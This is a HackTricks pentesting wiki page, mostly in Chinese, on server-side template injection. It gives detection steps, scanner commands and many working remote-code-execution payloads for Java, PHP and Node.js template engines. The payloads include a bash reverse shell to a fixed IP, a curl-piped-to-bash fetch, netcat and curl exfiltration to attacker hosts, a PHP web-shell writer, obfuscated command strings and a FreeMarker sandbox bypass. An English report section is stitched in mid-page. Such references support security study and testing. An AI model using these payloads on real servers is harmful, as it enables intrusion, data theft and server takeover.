# SSTI (Server Side Template Injection)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="/files/phJlmDduHfdtaFvBMUCT" alt=""><figcaption></figcaption></figure>

[**RootedCON**](https://www.rootedcon.com) 是西班牙最重要的网络安全活动之一，也是欧洲最重要的活动之一。作为促进技术知识的使命，这个大会是技术和网络安全专业人士在各个领域的热点交流会。

{% embed url="<https://www.rootedcon.com/>" %}

## 什么是SSTI（服务器端模板注入）

服务器端模板注入是一种漏洞，当攻击者可以将恶意代码注入到在服务器上执行的模板中时发生。这种漏洞可以在各种技术中找到，包括Jinja。

Jinja是一种常用的用于Web应用程序的模板引擎。让我们看一个示例，演示使用Jinja的易受攻击代码片段：

```python
output = template.render(name=request.args.get('name'))
```

在这个易受攻击的代码中，用户请求中的 `name` 参数直接通过 `render` 函数传递到模板中。这可能会让攻击者注入恶意代码到 `name` 参数中，导致服务器端模板注入。

例如，攻击者可以构造一个带有如下载荷的请求：

```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```

将`{{bad-stuff-here}}`负载注入到`name`参数中。该负载可以包含Jinja模板指令，使攻击者能够执行未经授权的代码或操纵模板引擎，从而潜在地控制服务器。

为防止服务器端模板注入漏洞，开发人员应确保用户输入在插入模板之前经过适当的清理和验证。实施输入验证并使用上下文感知的转义技术可以帮助减轻此漏洞的风险。

### 检测

要检测服务器端模板注入（SSTI），最初，**对模板进行模糊测试**是一种直接的方法。这涉及将一系列特殊字符（**`${{<%[%'"}}%\`**）注入到模板中，并分析服务器对常规数据与此特殊负载的响应之间的差异。漏洞指示包括：

* 抛出错误，揭示漏洞并可能揭示模板引擎。
* 反射中负载的缺失，或部分缺失，暗示服务器对其进行处理方式与常规数据不同。
* **明文上下文**：通过检查服务器是否评估模板表达式（例如`{{7*7}}`，`${7*7}`）来区分XSS。
* **代码上下文**：通过更改输入参数来确认漏洞。例如，将`http://vulnerable-website.com/?greeting=data.username`中的`greeting`更改为查看服务器输出是否动态或固定，例如`greeting=data.username}}hello`返回用户名。

#### 识别阶段

识别模板引擎涉及分析错误消息或手动测试各种特定语言的负载。导致错误的常见负载包括`${7/0}`，`{{7/0}}`和`<%= 7/0 %>`。观察服务器对数学运算的响应有助于确定特定的模板引擎。

## 工具

### [TInjA](https://github.com/Hackmanit/TInjA)

一款高效的SSTI + CSTI扫描器，利用新颖的多语言混合技术。

```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."
```

### [SSTImap](https://github.com/vladko312/sstimap)

```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
```

### [Tplmap](https://github.com/epinna/tplmap)

```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```

### [模板注入表](https://github.com/Hackmanit/template-injection-table)

一个交互式表格，包含最有效的模板注入多语言混合代码，以及对44个最重要的模板引擎的预期响应。

## 攻击

### 通用

在这个**单词列表**中，您可以找到下面提到的一些引擎环境中定义的**变量**：

* <https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt>
* <https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt>

### Java

**Java - 基本注入**

```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
```

**Java - 检索系统的环境变量**

```java
${T(java.lang.System).getenv()}
```

**Java - 检索 /etc/passwd**

```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```

### FreeMarker (Java)

您可以在 <https://try.freemarker.apache.org> 尝试您的有效负载

* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
* `#{7*7} = 49 -- (legacy)`
* `${7*'7'} Nothing`
* `${foobar}`

```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```

**Freemarker - 沙盒绕过**

⚠️ 仅适用于版本低于2.3.30的Freemarker。

```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```

**更多信息**

* 请查看<https://portswigger.net/research/server-side-template-injection>中的FreeMarker部分。
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker>

### Velocity (Java)

```java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
```

**更多信息**

* 在Velocity部分<https://portswigger.net/research/server-side-template-injection>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity>

### Thymeleaf

在Thymeleaf中，用于测试SSTI漏洞的常见表达式是`${7*7}`，这也适用于这个模板引擎。对于潜在的远程代码执行，可以使用以下表达式：

* SpringEL:

```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```

* OGNL:

```java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```

Thymeleaf要求这些表达式放置在特定属性中。然而，对于其他模板位置，支持\_expression inlining\_，使用类似`[[...]]`或`[(...)]`的语法。因此，一个简单的SSTI测试有效载荷可能看起来像`[[${7*7}]]`。

然而，这个有效载荷能够成功的可能性通常较低。Thymeleaf的默认配置不支持动态模板生成；模板必须是预定义的。开发人员需要实现自己的`TemplateResolver`来从字符串中动态创建模板，这是不常见的。

Thymeleaf还提供\_expression preprocessing\_，其中双下划线(`__...__`)内的表达式会被预处理。这个特性可以在表达式的构建中使用，正如Thymeleaf的文档中所示：

```java
#{selection.__${sel.code}__}
```

**Thymeleaf漏洞示例**

考虑以下代码片段，可能容易受到利用：

```xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```

这表明，如果模板引擎未正确处理这些输入，可能会导致远程代码执行，访问类似以下的URL：

```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```

**更多信息**

* <https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/>

{% content-ref url="/pages/s748lV6XlN3XKn6VrZBD" %}
[EL - Expression Language](/pentesting-web/ssti-server-side-template-injection/el-expression-language.md)
{% endcontent-ref %}

### Spring Framework (Java)

```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```

**绕过过滤器**

如果`${...}`无效，请尝试使用`#{...}`、`*{...}`、`@{...}`或`~{...}`来使用多个变量表达式。

* 读取`/etc/passwd`

```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```

* 用于生成 payload 的自定义脚本

```python
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)
```

**更多信息**

* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)

### Spring视图操作（Java）

```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```

* <https://github.com/veracode-research/spring-view-manipulation>

{% content-ref url="/pages/s748lV6XlN3XKn6VrZBD" %}
[EL - Expression Language](/pentesting-web/ssti-server-side-template-injection/el-expression-language.md)
{% endcontent-ref %}

### Pebble (Java)

* `{{ someString.toUPPERCASE() }}`

Pebble的旧版本（<版本3.0.9）:

```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```

新版本的Pebble：

```java
{% set cmd = 'id' %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```

### Jinjava (Java)

Jinjava是一个用于Java的模板引擎，允许开发人员在应用程序中使用模板。它支持在模板中执行代码，这可能导致服务器端模板注入漏洞。攻击者可以利用这种漏洞执行恶意代码，访问敏感数据，甚至完全控制服务器。在进行渗透测试时，应特别注意检查应用程序中是否存在SSTI漏洞，以确保服务器的安全性。

```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```

Jinjava是由Hubspot开发的开源项目，可在<https://github.com/HubSpot/jinjava/>找到。

**Jinjava - 命令执行**

已修复，修复详情请见<https://github.com/HubSpot/jinjava/pull/230>

```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```

**更多信息**

* <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava>

### Hubspot - HuBL (Java)

* `{% %}` 语句定界符
* `{{ }}` 表达式定界符
* `{# #}` 注释定界符
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest\@23548206
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

搜索"com.hubspot.content.hubl.context.TemplateContextRequest"并发现了[Github上的Jinjava项目](https://github.com/HubSpot/jinjava/)。

```java
{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```

**更多信息**

* <https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html>

### 表达式语言 - EL (Java)

* `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000.
* `#{7*7}` - 49
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`

表达式语言（EL）是一项基本功能，有助于在JavaEE中的表示层（如网页）和应用逻辑（如托管bean）之间进行交互。它在多个JavaEE技术中被广泛使用，以简化这种通信。利用EL的关键JavaEE技术包括：

* **JavaServer Faces (JSF)**：使用EL将JSF页面中的组件绑定到相应的后端数据和操作。
* **JavaServer Pages (JSP)**：EL用于在JSP中访问和操作数据，使页面元素与应用数据连接更容易。
* **Contexts and Dependency Injection for Java EE (CDI)**：EL与CDI集成，允许Web层和托管bean之间无缝交互，确保更一致的应用程序结构。

查看以下页面以了解有关**EL解释器利用**的更多信息：

{% content-ref url="/pages/s748lV6XlN3XKn6VrZBD" %}
[EL - Expression Language](/pentesting-web/ssti-server-side-template-injection/el-expression-language.md)
{% endcontent-ref %}

### Groovy (Java)

以下安全管理器绕过方法取自于这篇[**文章**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)。

```java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

​​[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的之一。作为促进技术知识的使命，这个大会是技术和网络安全专业人士在各个领域的热点交流会。

{% embed url="<https://www.rootedcon.com/>" %}

##

### Smarty (PHP)

```php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```

**更多信息**

* 在<https://portswigger.net/research/server-side-template-injection>的Smarty部分
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty>

### Twig (PHP)

* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Error`
* `{{foobar}} Nothing`

```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
```

**Twig - 模板格式**

```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```

**更多信息**

* 在[Twig和Twig（沙盒）](https://portswigger.net/research/server-side-template-injection)部分
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig>

### Plates（PHP）

Plates是一种原生于PHP的模板引擎，灵感来自Twig。然而，与Twig不同的是，Plates在模板中利用原生PHP代码，使其对PHP开发人员更直观。

```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```

页面模板：

```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```

布局模板：

```html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```

**更多信息**

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates>

### PHPlib 和 HTML\_Template\_PHPLIB (PHP)

[HTML\_Template\_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) 与 PHPlib 相同，但移植到了 Pear。

`authors.tpl`

```html
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
```

`authors.php`

## Server-Side Template Injection (SSTI)

### Description

In this scenario, the application is vulnerable to Server-Side Template Injection (SSTI). SSTI occurs when an application allows user input to be evaluated as a template on the server-side. This can lead to arbitrary code execution and a potential compromise of the server.

### Steps to Reproduce

1. Access the `authors.php` page.
2. Input the payload `{{7*7}}` in the search field.
3. Observe that the page displays the result of the calculation `49`.

### Impact

By exploiting SSTI, an attacker can execute arbitrary code on the server, potentially leading to data exfiltration, server compromise, or other malicious activities.

```php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```

**更多信息**

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib>

### Jade (NodeJS)

```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```

```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```

**更多信息**

* 在[Jade](https://portswigger.net/research/server-side-template-injection)部分
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen>

### patTemplate (PHP)

> [patTemplate](https://github.com/wernerwa/pat-template)是一个非编译的 PHP 模板引擎，使用 XML 标记将文档分成不同部分。

```xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
```

**更多信息**

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate>

### Handlebars (NodeJS)

路径遍历（更多信息请参考[此处](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)）。

```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```

* \= 错误
* ${7\*7} = ${7\*7}
* 无

```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
```

**更多信息**

* <http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html>

### JsRender (NodeJS)

| **模板** | **描述**         |
| ------ | -------------- |
|        | 评估和呈现输出        |
|        | 评估和呈现HTML编码的输出 |
|        | 注释             |
| 和      | 允许代码（默认情况下禁用）  |

* \= 49

**客户端**

```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```

**服务器端**

```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```

**更多信息**

* <https://appcheck-ng.com/template-injection-jsrender-jsviews/>

### PugJs (NodeJS)

* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`

**示例服务器端渲染**

```javascript
var pugjs = require('pug');
home = pugjs.render(injected_page)
```

**更多信息**

* <https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/>

### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>

* {{7\*7}} = 49
* {{foo}} = 无输出
* \#{7\*7} = #{7\*7}
* {{console.log(1)}} = 错误

```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```

**更多信息**

* <http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine>

### ERB (Ruby)

* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`

```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
